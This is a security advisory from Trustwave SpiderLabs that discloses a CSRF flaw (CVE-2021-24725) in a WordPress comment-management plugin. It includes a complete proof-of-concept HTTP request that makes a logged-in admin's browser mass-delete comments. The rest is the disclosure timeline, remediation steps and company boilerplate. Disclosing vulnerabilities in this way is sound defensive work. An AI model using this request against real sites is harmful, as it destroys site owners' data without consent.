Trustwave SpiderLabs Security Advisory TWSL2021-015:
CSRF Vulnerability in WordPress Plugin Comment Link Remove and Other Comment Tools

Published: 09/10/2021 
Version: 1.1

Vendor: QuantumCloud (https://quantumcloud.com/)
Product: WordPress Plugin Comment Link Remove and Other Comment Tools
Version affected:  <= 2.1.4 (before 06/15/2021)

Product description:
The plugin provides tools for managing comments.

Finding 1: WordPress Plugin Comment Link Remove and Other Comment Tools <= 2.1.4 CSRF to bulk comment deletion
*****Credit: Martin Vierula of Trustwave
CVE: CVE-2021-24725
CWE: CWE-352

Actions in the 'Delete comments easily' section of the plugin are vulnerable to
CSRF. A remote attacker could perform a mass delete of comments on a web site
without the victim's knowledge by inducing an authenticated user into visiting
the attacker's web page.  There is no anti-CSRF token implemented as part of
these functions.

The following request can be submitted by a malicious website.  Because it is
the legitimate user's browser that is performing the submission, the legitimate
user's valid cookies are included automatically.

-----------------
POST /wp-admin/admin.php?page=comment-link-remove HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Connection: keep-alive
Referer: http://xxx.xxx.xxx.xxx/myevilpage.php
Cookie: <admin cookies>
Upgrade-Insecure-Requests: 1

delAllCmts=delAllCmts
----------------

Remediation Steps:
Upgrade the WordPress Plugin Comment Link Remove and Other Comment Tools to version 2.1.4 (06/15/2021) or the latest stable version.

Revision History:
06/14/2021 - Disclosed finding to vendor
06/15/2021 - Vendor releases fix
08/04/2021 - Vendor confirms patched released
08/20/2021 - Advisory verson 1.0 published
09/10/2021 - CVE assigned
09/10/2021 - Advisory version 1.1 published

References
1. https://wordpress.org/plugins/comment-link-remove


About Trustwave:
Trustwave helps businesses fight cybercrime, protect data and reduce security 
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team of security experts, ethical hackers and researchers, Trustwave enables 
businesses to transform the way they manage their information security and 
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automated, efficient and cost-effective threat, vulnerability and compliance 
management. Trustwave is headquartered in Chicago, with customers in 96 
countries. For more information about Trustwave, visit 
https://www.trustwave.com.

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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